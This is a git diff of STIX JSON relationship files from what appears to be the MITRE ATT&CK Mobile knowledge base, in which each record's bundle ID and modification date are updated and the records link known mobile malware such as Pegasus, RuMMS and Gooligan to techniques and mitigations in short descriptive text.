             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df",
diff --git a/mobile-attack/relationship/relationship--3c291ee5-1782-4e5b-8131-5188c7388f45.json b/mobile-attack/relationship/relationship--3c291ee5-1782-4e5b-8131-5188c7388f45.json
index 260ba8e513..66feceb4d5 100644
--- a/mobile-attack/relationship/relationship--3c291ee5-1782-4e5b-8131-5188c7388f45.json
+++ b/mobile-attack/relationship/relationship--3c291ee5-1782-4e5b-8131-5188c7388f45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7aaf2083-2036-4651-9cfd-04c8bb27dfc8",
+    "id": "bundle--f458993f-736f-43c0-b3d9-a55ab1345999",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3c291ee5-1782-4e5b-8131-5188c7388f45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS gathers the device phone number and IMEI and transmits them to a command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
diff --git a/mobile-attack/relationship/relationship--3c2d7ccc-5980-4012-8aab-64979bcd0ea6.json b/mobile-attack/relationship/relationship--3c2d7ccc-5980-4012-8aab-64979bcd0ea6.json
index 741418aacc..9877fee3fb 100644
--- a/mobile-attack/relationship/relationship--3c2d7ccc-5980-4012-8aab-64979bcd0ea6.json
+++ b/mobile-attack/relationship/relationship--3c2d7ccc-5980-4012-8aab-64979bcd0ea6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5460df1f-3e75-47ce-bd14-9fe5f2acc4e3",
+    "id": "bundle--4ccadbdd-17c2-4fd2-a019-eb826e13d1c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3c2d7ccc-5980-4012-8aab-64979bcd0ea6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "target_ref": "attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483",
diff --git a/mobile-attack/relationship/relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba.json b/mobile-attack/relationship/relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba.json
index bf25f8d3b3..3d87f05063 100644
--- a/mobile-attack/relationship/relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba.json
+++ b/mobile-attack/relationship/relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a343a919-2e9b-407b-9605-b15baff53520",
+    "id": "bundle--9ac5cfe6-0b37-4ad5-83cc-a676d66277e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3d24d88e-a0ab-42c6-8e8f-11f721082bba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to exploit well-known Android OS vulnerabilities to escalate privileges.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1.json b/mobile-attack/relationship/relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1.json
index 5d011be645..2950ce6f47 100644
--- a/mobile-attack/relationship/relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1.json
+++ b/mobile-attack/relationship/relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94acfd20-02d4-485d-9268-ff2258f54d8c",
+    "id": "bundle--0ede3823-cdbd-4f87-9fc0-0fa86e37532d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3e3cad6c-dd73-43c9-bf99-d4796ba97fb1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
diff --git a/mobile-attack/relationship/relationship--3ebcd3d8-dd8e-4cc9-8087-ce9e93df6f56.json b/mobile-attack/relationship/relationship--3ebcd3d8-dd8e-4cc9-8087-ce9e93df6f56.json
index f88e5ad0cc..e33607d4e2 100644
--- a/mobile-attack/relationship/relationship--3ebcd3d8-dd8e-4cc9-8087-ce9e93df6f56.json
+++ b/mobile-attack/relationship/relationship--3ebcd3d8-dd8e-4cc9-8087-ce9e93df6f56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13432009-9c9e-4c59-8ec4-7f088ed51ba1",
+    "id": "bundle--870f44f5-c680-455f-a108-6bf83edce2e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ebcd3d8-dd8e-4cc9-8087-ce9e93df6f56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
diff --git a/mobile-attack/relationship/relationship--3f3d63f0-1f03-4931-9624-10eaf4b207b4.json b/mobile-attack/relationship/relationship--3f3d63f0-1f03-4931-9624-10eaf4b207b4.json
index 643564489e..5ce6c6346d 100644
--- a/mobile-attack/relationship/relationship--3f3d63f0-1f03-4931-9624-10eaf4b207b4.json
+++ b/mobile-attack/relationship/relationship--3f3d63f0-1f03-4931-9624-10eaf4b207b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4db1d9f0-2ba4-452e-9841-8ab421e474c9",
+    "id": "bundle--3ad56931-2560-43e1-b554-d4bb348a2efb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f3d63f0-1f03-4931-9624-10eaf4b207b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57",
diff --git a/mobile-attack/relationship/relationship--3f973c3c-45f8-432a-9859-e8749f2e7418.json b/mobile-attack/relationship/relationship--3f973c3c-45f8-432a-9859-e8749f2e7418.json
index 42b37c30aa..15ecc2dcb6 100644
--- a/mobile-attack/relationship/relationship--3f973c3c-45f8-432a-9859-e8749f2e7418.json
+++ b/mobile-attack/relationship/relationship--3f973c3c-45f8-432a-9859-e8749f2e7418.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a923c40f-c72e-41f9-a5e3-ed7edf59c5fa",
+    "id": "bundle--d0411e60-409f-454e-9fa4-11b4934376cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3f973c3c-45f8-432a-9859-e8749f2e7418",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses sensitive data in files, such as messages stored by the WhatsApp, Facebook, and Twitter applications. It also has the ability to access arbitrary filenames and retrieve directory listings.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc.json b/mobile-attack/relationship/relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc.json
index d6d8edd663..0f148db8a4 100644
--- a/mobile-attack/relationship/relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc.json
+++ b/mobile-attack/relationship/relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db8cfcf4-c7fb-4bab-83ff-1d7c0a57c8f2",
+    "id": "bundle--10ef3ca6-9596-4465-87e5-fe4649fa6d53",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3faed885-6a3d-444f-8e57-fd8818abb1cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroidOverlayMalware involved \"three campaigns in Europe\" that \"used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"",
             "source_ref": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
diff --git a/mobile-attack/relationship/relationship--40581c90-e948-4e91-8530-a9bc59cce9d7.json b/mobile-attack/relationship/relationship--40581c90-e948-4e91-8530-a9bc59cce9d7.json
index 67206ad6fa..c3961a3a88 100644
--- a/mobile-attack/relationship/relationship--40581c90-e948-4e91-8530-a9bc59cce9d7.json
+++ b/mobile-attack/relationship/relationship--40581c90-e948-4e91-8530-a9bc59cce9d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de0f0576-5e3a-4ebb-bb26-d30674d04452",
+    "id": "bundle--534205c0-fe88-45d3-bb9a-1804b13b77df",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--40581c90-e948-4e91-8530-a9bc59cce9d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper \"abuses enterprises certificate and personal certificates to sign and distribute apps, which may include code that hasn\u2019t been reviewed, or abuse private APIs.\"",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
diff --git a/mobile-attack/relationship/relationship--4088b31b-d542-4935-84b4-82b592159591.json b/mobile-attack/relationship/relationship--4088b31b-d542-4935-84b4-82b592159591.json
index 5a1260bf78..c924ccb878 100644
--- a/mobile-attack/relationship/relationship--4088b31b-d542-4935-84b4-82b592159591.json
+++ b/mobile-attack/relationship/relationship--4088b31b-d542-4935-84b4-82b592159591.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5810eae-55b2-4e85-851a-9c7716920ce2",
+    "id": "bundle--1d302fa6-f4e0-4846-8baa-e1e3197b4109",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4088b31b-d542-4935-84b4-82b592159591",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[c]ollect passwords for Wi-Fi networks and online accounts, including Skype, Facebook, Twitter, Google, WhatsApp, Mail, and LinkedIn\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b.json b/mobile-attack/relationship/relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b.json
index 0e5879b9e0..562b53c08b 100644
--- a/mobile-attack/relationship/relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b.json
+++ b/mobile-attack/relationship/relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a25bd660-ea1d-499f-afcc-b12d76b307f3",
+    "id": "bundle--fa14980e-1d91-4a4b-a76f-55500e571908",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--42ae42eb-ea75-457a-bf39-4ea04304dd0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gooligan can \"[i]nstall adware to generate revenue\"",
             "source_ref": "malware--20d56cd6-8dff-4871-9889-d32d254816de",
diff --git a/mobile-attack/relationship/relationship--4454a696-7619-40ee-971b-cbf646e4ee61.json b/mobile-attack/relationship/relationship--4454a696-7619-40ee-971b-cbf646e4ee61.json
index 8c648f09c2..28aa00b935 100644
--- a/mobile-attack/relationship/relationship--4454a696-7619-40ee-971b-cbf646e4ee61.json
+++ b/mobile-attack/relationship/relationship--4454a696-7619-40ee-971b-cbf646e4ee61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9c6a273f-85f0-4d5f-8969-082bba0a2bab",
+    "id": "bundle--16012653-e4eb-44f8-9e6a-0a64d0480f30",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4454a696-7619-40ee-971b-cbf646e4ee61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may send messages to premium SMS messages.\"",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
diff --git a/mobile-attack/relationship/relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408.json b/mobile-attack/relationship/relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408.json
index 89bae4112c..fe0b70c516 100644
--- a/mobile-attack/relationship/relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408.json
+++ b/mobile-attack/relationship/relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b9484b46-ff65-4a63-b7a5-3dee856b09dd",
+    "id": "bundle--40882073-1e11-4ae1-b262-caa5e4c85146",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--450a1b75-efa5-4d7a-bcd5-d3e63723b408",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"monitors the current connection state and tracks which types of networks the phone is connected to, potentially in order to determine the bandwidth and ability to send full data across the network\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2.json b/mobile-attack/relationship/relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2.json
index 68c8e95437..eb91401500 100644
--- a/mobile-attack/relationship/relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2.json
+++ b/mobile-attack/relationship/relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--adcb2b85-8b54-4fcb-abf2-03688b82cc37",
+    "id": "bundle--2e4264ca-2f07-4c9d-8648-c5f279568bf2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--465ff71b-2b1b-43b6-ab78-afb273d956d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "target_ref": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
diff --git a/mobile-attack/relationship/relationship--49f0f7b8-7208-4650-89c2-5d6b1f166113.json b/mobile-attack/relationship/relationship--49f0f7b8-7208-4650-89c2-5d6b1f166113.json
index 6167139666..e741daa0b3 100644
--- a/mobile-attack/relationship/relationship--49f0f7b8-7208-4650-89c2-5d6b1f166113.json
+++ b/mobile-attack/relationship/relationship--49f0f7b8-7208-4650-89c2-5d6b1f166113.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ab63e43-628a-44af-90ad-aceea516d00c",
+    "id": "bundle--bc0a7186-fb13-42fa-9fef-3de0acc0f566",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49f0f7b8-7208-4650-89c2-5d6b1f166113",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ff4821f6-5afb-481b-8c0f-26c28c0d666c",
             "target_ref": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5",
diff --git a/mobile-attack/relationship/relationship--49fe6eac-73a7-4147-9121-85fb71fca4ed.json b/mobile-attack/relationship/relationship--49fe6eac-73a7-4147-9121-85fb71fca4ed.json
index 5319c4167f..51f4d9b928 100644
--- a/mobile-attack/relationship/relationship--49fe6eac-73a7-4147-9121-85fb71fca4ed.json
+++ b/mobile-attack/relationship/relationship--49fe6eac-73a7-4147-9121-85fb71fca4ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--24d119da-41d4-46a1-80c2-1141eb49745a",
+    "id": "bundle--44bc1b66-f735-42cd-b144-3710ab14b316",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--49fe6eac-73a7-4147-9121-85fb71fca4ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
diff --git a/mobile-attack/relationship/relationship--4a697724-4457-436b-97ad-9d6f445fb6b0.json b/mobile-attack/relationship/relationship--4a697724-4457-436b-97ad-9d6f445fb6b0.json
index 14bfc9fe34..a6e4907667 100644
--- a/mobile-attack/relationship/relationship--4a697724-4457-436b-97ad-9d6f445fb6b0.json
+++ b/mobile-attack/relationship/relationship--4a697724-4457-436b-97ad-9d6f445fb6b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1263a14c-a673-4bc0-86b8-980898367c94",
+    "id": "bundle--cdfd4cf8-5add-4daa-a11d-9e9eafca24c6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4a697724-4457-436b-97ad-9d6f445fb6b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483",
diff --git a/mobile-attack/relationship/relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3.json b/mobile-attack/relationship/relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3.json
index b889a45206..10a7ff8881 100644
--- a/mobile-attack/relationship/relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3.json
+++ b/mobile-attack/relationship/relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c8b8c83-ed1d-4ad7-a138-efea8be077b9",
+    "id": "bundle--0a3d1ea7-1cd6-48cb-98a1-e986a495b56c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4caf3ad1-6ef8-42de-851d-bdc3a22977b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
diff --git a/mobile-attack/relationship/relationship--4cf9511e-da0e-4055-bc8c-56121ae120d2.json b/mobile-attack/relationship/relationship--4cf9511e-da0e-4055-bc8c-56121ae120d2.json
index f9e64fcb96..53444b41fe 100644
--- a/mobile-attack/relationship/relationship--4cf9511e-da0e-4055-bc8c-56121ae120d2.json
+++ b/mobile-attack/relationship/relationship--4cf9511e-da0e-4055-bc8c-56121ae120d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e693084-0c95-4199-84d4-f2063bcbe018",
+    "id": "bundle--a4332731-1297-4ca7-a497-450722772ad2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4cf9511e-da0e-4055-bc8c-56121ae120d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5",
diff --git a/mobile-attack/relationship/relationship--4d2d892c-9d3a-445c-b9bf-1eab45703dcc.json b/mobile-attack/relationship/relationship--4d2d892c-9d3a-445c-b9bf-1eab45703dcc.json
index 63ec3f9e27..e26314ce24 100644
--- a/mobile-attack/relationship/relationship--4d2d892c-9d3a-445c-b9bf-1eab45703dcc.json
+++ b/mobile-attack/relationship/relationship--4d2d892c-9d3a-445c-b9bf-1eab45703dcc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b914548d-24a8-447e-87f9-a68660dabd59",
+    "id": "bundle--f98dcf38-52ae-4116-ba1a-0e91a7662201",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d2d892c-9d3a-445c-b9bf-1eab45703dcc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
diff --git a/mobile-attack/relationship/relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7.json b/mobile-attack/relationship/relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7.json
index a2b4d902e0..c59b77a35b 100644
--- a/mobile-attack/relationship/relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7.json
+++ b/mobile-attack/relationship/relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c89bcd9a-8d39-4df1-95ee-7a353ad65b91",
+    "id": "bundle--a3140df5-7f73-42eb-b132-5b0c528a613b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4d7e937d-7ea1-49cb-939c-5244815e51d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS uses HTTP for command and control.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
diff --git a/mobile-attack/relationship/relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed.json b/mobile-attack/relationship/relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed.json
index fc25030dba..316290922f 100644
--- a/mobile-attack/relationship/relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed.json
+++ b/mobile-attack/relationship/relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c716cc9c-17fe-4b7c-8dc8-2157d5c7aa06",
+    "id": "bundle--e71aa65f-9fae-4f37-ac23-6aa5a1f07aec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4df969b3-f5a0-4802-b87e-a458e3e439ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
diff --git a/mobile-attack/relationship/relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f.json b/mobile-attack/relationship/relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f.json
index ae2f2251b8..45d7774a32 100644
--- a/mobile-attack/relationship/relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f.json
+++ b/mobile-attack/relationship/relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67aaf3e3-5d3b-4ed9-8baa-58471afb0a5a",
+    "id": "bundle--46085864-7146-4ebe-8ee2-246d50287404",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f2ae057-ef0b-4995-b24d-348a76a74a4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus uses SMS for command and control.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49.json b/mobile-attack/relationship/relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49.json
index c0cdcd1711..b41ed0fcda 100644
--- a/mobile-attack/relationship/relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49.json
+++ b/mobile-attack/relationship/relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b77120e3-6cf5-44d8-a155-abadbc187735",
+    "id": "bundle--88652fea-8405-46de-8a7a-25050b0c29a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f366c8c-9c70-44ed-baa8-d433d5dbfe49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses call logs.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
